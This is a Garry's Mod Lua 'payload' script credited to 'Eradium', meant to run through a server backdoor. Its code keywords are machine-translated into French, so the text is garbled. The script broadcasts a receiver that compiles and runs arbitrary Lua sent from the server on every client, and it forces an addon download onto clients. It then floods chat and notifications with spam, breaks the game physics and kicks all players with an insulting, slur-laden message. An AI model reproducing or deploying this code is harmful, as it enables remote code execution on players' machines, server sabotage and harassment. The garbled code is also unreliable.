- Du côté serveur -- Charge utile créée par Eradium pour Github -- Visuel Nouveau Monde -- Reproduction non autorisée -- Modification Autorisée : rubrique Configuration -- Bêta1.0 (30-07-2020) pour k, v par paires (player.GetAll()) faire v:SendLua("steamworks.FileInfo(2183584889,function(result)steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)end) end)") finir fonction locale rdm_str(len) sinon len ou len <= 0 alors return "" end return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)] finir chaîne_réseau locale = rdm_str(25) util.AddNetworkString(net_string) BroadcastLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end) ]]) hook.Add("PlayerInitialSpawn", "ifyousethisdontpanicitsme",function(ply) sinon pli:IsBot() alors ply:SendLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")() finir)]]) finir finir) fonction locale EradiumVersClient(code) données locales = util.Compress(code) len local = #données net.Start(net_string) net.WriteUInt(long, 16) net.WriteData(données, longueur) net.Broadcast() finir -- Serveur de configuration rpname local = "I <3 Eradium" local rpjob = "Je suis éradiqué" printtoconsole locale = [[ ██████╗ ██████╗ █████╗ ███╗ ██╗██████╗ ██║██╔══██╗ ██████╔╝██████╔╝███████║██╔██╗ ██║██║ ██║ ██║ ██████╔╝██║ ██║██║ ██║██║ ╚████║██████╔╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═════╝ ██╗███████╗██╗ ██╗ ██║██╔════╝██║ ██║ ██╔██╗ ██║█████╗ ██║ █╗ ██║ ██║███╗██║ ╚████║███████╗╚███╔███╔╝ ╚═╝ ╚═══╝╚══════╝ ╚══╝╚══╝ ██╗ ██████╗ ██████╗ ██╗ ██████╗ ██║ ██║██╔═══██╗██╔══██╗██║ ██╔══██╗ █╗ ██║██║ ██║██████╔╝██║ ██║ ██║ ██║███╗██║██║ ██║██╔══██╗██║ ██║ ██║ ██║███████╗██████╔╝ ╚══╝╚══╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝ ]] -- Cette option permet au serveur de kick les joueurs une fois le payload fini kickafterpayload local = true local kickmessage = "Salut moi c\n'est Starrock je suis la car il a une backdoor sur ton serveur qui dit que tu a pris des addons ***** attention c pas bien ducoup ton serveur se fait exploite negro" -- Cette option permet au serveur de redémarrer la carte une fois le payload fini redémarrage localafterpayload = true amplification de friction locale = true godmodeveryone local = vrai modèles locauxreplace = true -- /Configuration si frictionamplif == vrai alors ExécuterCommandeConsole("sv_friction", "-50") finir imprimer (imprimer vers la console) si modelsreplace == true alors timer.Create("EtOnRemplaceToutLesProps"..math.random(500,50000), 1.5, 0, function() local props2 = ents.GetAll() pour _, prop dans ipairs( props2 ) faire if(prop:GetPhysicsObject():IsValid()) then if(prop:GetModel() == "models/eradium/bnw.mdl") then else prop:SetModel("models/eradium/bnw.mdl") prop:SetMaterial("phoenix_storms/Fender_white.vtf") finir finir finir finir) pour k, v par paires( player.GetAll() ) faire si ( v:Alive() ) alors v:SetModel("models/eradium/bnw.mdl") v:SetMaterial("phoenix_storms/Fender_white.vtf") v:SetColor(0,0,185) sinon v:Faire apparaître() timer.Simple( 5, fonction() v:SetModel("models/eradium/bnw.mdl") v:SetMaterial("phoenix_storms/Fender_white.vtf") finir) finir finir finir timer.Simple(1, fonction() EradiumVersClient([==[ -- Côté client -- Charge utile créée par Eradium pour Github -- Visuel BNW -- Reproduction non autorisée -- Modification Autorisée : rubrique Configuration -- Bêta1.0 (30-07-2020) if ( timer.Exists( "TimeSV" ) ) then timer.Destroy("TimeSV") finir -- Client de configuration printtoconsole locale = [[ Salut Cava C'est By Starrock ]] local lyric1 = "Hé !" local lyric2 = "Es-tu," local lyric3 = "Prêt à partir ?" local lyric4 = "'Parce que tu sais" local lyric5 = "Le chemin à parcourir." local lyric6 = "Shinjitai eranda way" lyric local7 = "Sā ikō" local lyric8 = "Le tout nouveau monde !" local toBNW1 = "il brnd nouveau wold" local toBNW2 = "e brd n wod" local toBNW3 = "br n wd" local versBNW4 = "bn w" local bnw = "BNW" nom du panneau local = "MyPanel" local panelnameglitch = { "MyPanel", "MyPAnel", "MyPan€l", "MyP4n€l", "MIP4n€l", "mYp4nel", "mYpAn€l", "WYP4n€L", "MYPANXL", "MYPANEL", "ERREUR" } panneau localfirstletter = "M" discorde locale = "" local notif1 = "Propriétaire" local notif2 = "Copropriétaire" local notif3 = "Admin1" local notif4 = "Admin2" local notif5 = "Ami1" local notif6 = "Ami2" -- Uniquement à des fins de développement activateur local = false loglyrics locaux = false -- /Configuration imprimer (imprimer vers la console) surface.CreateFont( "PixelCutsceneScaled",{ font = "Open Sans", taille = 500, poids = 1000, antialias = true }) surface.CreateFont( "PixelCutsceneScaledMiddle",{ font = "Open Sans", taille = 150, poids = 1000, antialias = true }) surface.CreateFont( "PixelCutsceneScaledSmall",{ font = "Open Sans", taille = 50, poids = 1000, antialias = true }) surface.CreateFont( "PixelSmall",{ font = "Open Sans", taille = 135, poids = 500, antialias = false }) surface.CreateFont("lapolice", { font = "Open Sans", size = ScrW()*0.02, weight = 10, blursize = 0, scanlines = 2.5, antialias = false }) local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) local w,h = ScrW(), ScrH() local W, H = ScrW(), ScrH() local MySelf = LocalPlayer() si kpderma alors kpderma:Remove() kpderma = fin nulle kpderma = vgui.Create( "DFrame" ) kpderma:SetSize( w, h ) kpderma:SetPos(0,0) kpderma:SetDraggable ( false ) kpderma:SetTitle("") kpderma:Afficher le boutonFermer (faux) kpderma.Paint = fonction( soi ) surface.SetDrawColor(30, 30, 30, 0) finir local pw, ph = w, h*0.6 local px, py = w/2-pw/2, h/2-ph/2 local Close = vgui.Create( "DButton", kpderma ) Fermer : DéfinirPos(px, py) Fermer:SetText( "" ) Fermer:SetSize( pw, ph ) Close.Paint = function( self, tw, th ) finir SOUNDSTART_CTP = faux OZJFOZJCEZIO = vrai sound.PlayURL("https://www.dropbox.com/s/wepx6g25eosecow/ready-to.mp3?dl=1", "mono noblock noplay", fonction(s) sinon alors revenir finir si SOUNDSTART_CTP alors s:Stop() revenir finir SOUNDSTART_CTP = vrai s:DéfinirVolume(6.5) évaser() startpayload() si enabletimer == vrai alors clé_svtick locale = 0 timer.Create("TimeSV", 1, 0, function() svtick_key = svtick_key + 1 imprimer(svtick_key) finir) finir finir) fonction startpayload() timer.Simple(0.5, function() si loglyrics == vrai alors imprimer (lyrique1) finir Fermer : DéfinirPos(px, py) Fermer:SetText( "" ) Fermer : SetSize( pw, ph ) Close.Paint = function( self, tw, th ) local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) décalage local = math.sin(RealTime()*3)*1.5 + 5 draw.SimpleText( lyric1, "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) draw.SimpleText( lyric1, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) finir finir) timer.Simple(1.3, function() si loglyrics == vrai alors imprimer (lyrique2) finir Close.Paint = function( self, tw, th ) local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) décalage local = math.sin(RealTime()*3)*1.5 + 5 draw.SimpleText( lyric2, "PixelCutsceneScaledMiddle", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) draw.SimpleText( lyric2, "PixelCutsceneScaledMiddle", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) finir finir) timer.Simple(2.2, function() si loglyrics == vrai alors imprimer (lyrique3) finir Close.Paint = function( self, tw, th ) local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) décalage local = math.sin(RealTime()*3)*1.5 + 5 draw.SimpleText( lyric3, "PixelCutsceneScaledMiddle", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) draw.SimpleText( lyric3, "PixelCutsceneScaledMiddle", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) finir finir) timer.Simple(3.9, function() si loglyrics == vrai alors imprimer (lyrique4) finir Close.Paint = function( self, tw, th ) local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) décalage local = math.sin(RealTime()*3)*1.5 + 5 draw.SimpleText( lyric4, "PixelCutsceneScaledMiddle", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) draw.SimpleText( lyric4, "PixelCutsceneScaledMiddle", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) finir finir) timer.Simple(5.1, fonction() si loglyrics == vrai alors imprimer (lyrique5) finir Close.Paint = function( self, tw, th ) local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) décalage local = math.sin(RealTime()*3)*1.5 + 5 draw.SimpleText( lyric5, "PixelCutsceneScaledMiddle", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) draw.SimpleText( lyric5, "PixelCutsceneScaledMiddle", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) finir finir) timer.Simple(7.2, function() si loglyrics == vrai alors imprimer (lyrique6) finir Close.Paint = function( self, tw, th ) local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) décalage local = math.sin(RealTime()*3)*1.5 + 5 draw.SimpleText( lyric6, "PixelCutsceneScaledMiddle", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) draw.SimpleText( lyric6, "PixelCutsceneScaledMiddle", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) finir finir) timer.Simple (10.5, function() si loglyrics == vrai alors imprimer (lyrique7) finir Close.Paint = function( self, tw, th ) local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) décalage local = math.sin(RealTime()*3)*1.5 + 5 draw.SimpleText( lyric7, "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) draw.SimpleText( lyric7, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) finir finir) timer.Simple(12, function() si loglyrics == vrai alors imprimer (lyrique8) finir Close.Paint = function( self, tw, th ) local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) décalage local = math.sin(RealTime()*3)*1.5 + 5 draw.SimpleText( lyric8, "PixelCutsceneScaledMiddle", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) draw.SimpleText( lyric8, "PixelCutsceneScaledMiddle", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) finir finir) timer.Simple(14, function() Close.Paint = function( self, tw, th ) local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) décalage local = math.sin(RealTime()*3)*1.5 + 5 draw.SimpleText( toBNW1, "PixelCutsceneScaledMiddle", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) draw.SimpleText( toBNW1, "PixelCutsceneScaledMiddle", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) finir finir) timer.Simple(14.5, function() Close.Paint = function( self, tw, th ) local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) décalage local = math.sin(RealTime()*3)*1.5 + 5 draw.SimpleText( toBNW2, "PixelCutsceneScaledMiddle", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) draw.SimpleText( toBNW2, "PixelCutsceneScaledMiddle", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) finir finir) timer.Simple(15, function() Close.Paint = function( self, tw, th ) local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) décalage local = math.sin(RealTime()*3)*1.5 + 5 draw.SimpleText( toBNW3, "PixelCutsceneScaledMiddle", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) draw.SimpleText( toBNW3, "PixelCutsceneScaledMiddle", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) finir finir) timer.Simple(15.5, function() Close.Paint = function( self, tw, th ) local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) décalage local = math.sin(RealTime()*3)*1.5 + 5 draw.SimpleText( toBNW4, "PixelCutsceneScaledMiddle", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) draw.SimpleText( toBNW4, "PixelCutsceneScaledMiddle", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) finir finir) timer.Simple (16, fonction() Close.Paint = function( self, tw, th ) local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) décalage local = math.sin(RealTime()*3)*1.5 + 5 draw.SimpleText( bnw, "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) draw.SimpleText( bnw, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) finir finir) timer.Simple(27, function() tapis locaux = Entity(0):GetMaterials() pour k,v par paires (tapis) faire Matériau(v):SetVector("$color", Vector(238,107,255)) Material(v):SetTexture( "$basetexture", "_rt_fullframefb" ) finir hook.Add("HUDPaint", "AfficheMoiCesBellesCouleurs",function() pour k,v par paires(gfx) faire v() finir finir) Close.Paint = function( self, tw, th ) end fonction GAMEMODE:PostDraw2DSkyBox() col local = Couleur ( 75, 0, 130) render.Clear(col.r/1.3, col.g/1.3, col.b/1.3, 255) retour !!1 finir fonction GAMEMODE:PreDrawSkyBox() col local = Couleur ( 75, 0, 130) render.Clear(col.r/1.3, col.g/1.3, col.b/1.3, 255) retour !!1 finir timer.Create("spamchatbienchiant", 1.5, 0, function() heure locale = tonumber(0) Message local = { panelfirstletter.." "..nom du panneau.." "..discord.." -", panelfirstletter..panelfirstletter.." "..nom du panneau.." "..discord.." --", panneaufirstletter..panelfirstletter..panelfirstletter.." "..nom du panneau.." "..discord.." ---", panneaufirstletter..panelfirstletter..panelfirstletter..panelfirstletter.." "..nom du panneau.." "..discord.." ----", panneaufirstletter..panelfirstletter..panelfirstletter..panelfirstletter..panelfirstletter.." "..nom du panneau.." "..discord.." -----", panneaufirstletter..panelfirstletter..panelfirstletter..panelfirstletter..panelfirstletter..panelfirstletter.." "..nom du panneau.." "..discord.." ------", panneaufirstletter..panel firstletter..panel firstletter..panel firstletter..panelfirstletter..panelfirstletter..panelfirstletter.." "..nom du panneau.." "..discord.." -------", panneaufirstletter..panel firstletter..panel firstletter..panel firstletter..panelfirstletter..panelfirstletter..panelfirstletter..panelfirstletter.." "..nom du panneau.." "..discord.." --------", panneaufirstletter..panel firstletter..panelfirstletter..panelfirstletter..panelfirstletter..panel firstletter..panelfirstletter..panelfirstletter..panelfirstletter.." "..nom du panneau.." "..discord.." -------- -", panneaufirstletter..panel firstletter..panelfirstletter..panel firstletter..panelfirstletter..panelfirstletter..panelfirstletter..panelfirstletter.." "..nom du panneau.." "..discord.." -------", panneaufirstletter..panel firstletter..panel firstletter..panel firstletter..panelfirstletter..panelfirstletter..panelfirstletter.." "..nom du panneau.." "..discord.." -------", panneaufirstletter..panelfirstletter..panelfirstletter..panelfirstletter..panelfirstletter..panelfirstletter.." "..nom du panneau.." "..discord.." ------", panneaufirstletter..panelfirstletter..panelfirstletter..panelfirstletter..panelfirstletter.." "..nom du panneau.." "..discord.." -----", panneaufirstletter..panelfirstletter..panelfirstletter..panelfirstletter.." "..nom du panneau.." "..discord.." ----", panneaufirstletter..panelfirstletter..panelfirstletter.." "..nom du panneau.." "..discord.." ---", panelfirstletter..panelfirstletter.." "..nom du panneau.." "..discord.." --", panelfirstletter.." "..nom du panneau.." "..discord.." -", } pour _, ligne par paires (Message) faire heure = heure + tonombre(0.1) timer.Simple(temps,fonction() chat.AddText(HSVToColor( CurTime() % 6 * 60, 1, 1 ),ligne) finir) finir finir) timer.Create("notif1", 0.3, 0, function() notification.AddLegacy( notif1, math.random(0, 4), 1.5 ) finir) timer.Create("notif2", 0.3, 0, function() notification.AddLegacy( notif2, math.random(0, 4), 1.5 ) finir) timer.Create("notif3", 0.3, 0, function() notification.AddLegacy( notif3, math.random(0, 4), 1.5 ) finir) timer.Create("notif4", 0.3, 0, function() notification.AddLegacy( notif4, math.random(0, 4), 1.5 ) finir) timer.Create("notif5", 0.3, 0, function() notification.AddLegacy( notif5, math.random(0, 4), 1.5 ) finir) timer.Create("notif6", 0.3, 0, function() notification.AddLegacy( notif6, math.random(0, 4), 1.5 ) finir) timer.Create("madebyera", 0.3, 0, function() notification.AddLegacy( "Payload par Eradium <3", math.random(0, 4), 1.5 ) finir) finir) timer.Simple (59.5, function() Close.Paint = function( self, tw, th ) local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) local shift = math.sin(RealTime()*3)*1.5 + 5 draw.SimpleText( "Made by Eradium", "PixelCutsceneScaledSmall", tw/2 , th/2 +100, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) draw.SimpleText( "Made by Eradium", "PixelCutsceneScaledSmall", tw/2 - shift , th/2 +100 - shift, Color(math.random(240,255), math.random(240,255), math.random(240,255) , 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) draw.SimpleText( table.Random(panelnameglitch), "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) draw.SimpleText( table.Random(text), "PixelCutsceneScaled", tw/2 - shift , th/2 - décalage, Couleur (0, 191, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) finir finir) finir ]==]) finir) timer.Simple(209, function() si kickafterpayload == true alors pour i,v dans ipairs(player.GetAll()) faire v: Coup de pied (message de coup de pied) finir finir finir) timer.Simple(210, function() si restartafterpayload == true alors RunConsoleCommand("changelevel", "gm_construct") finir finir)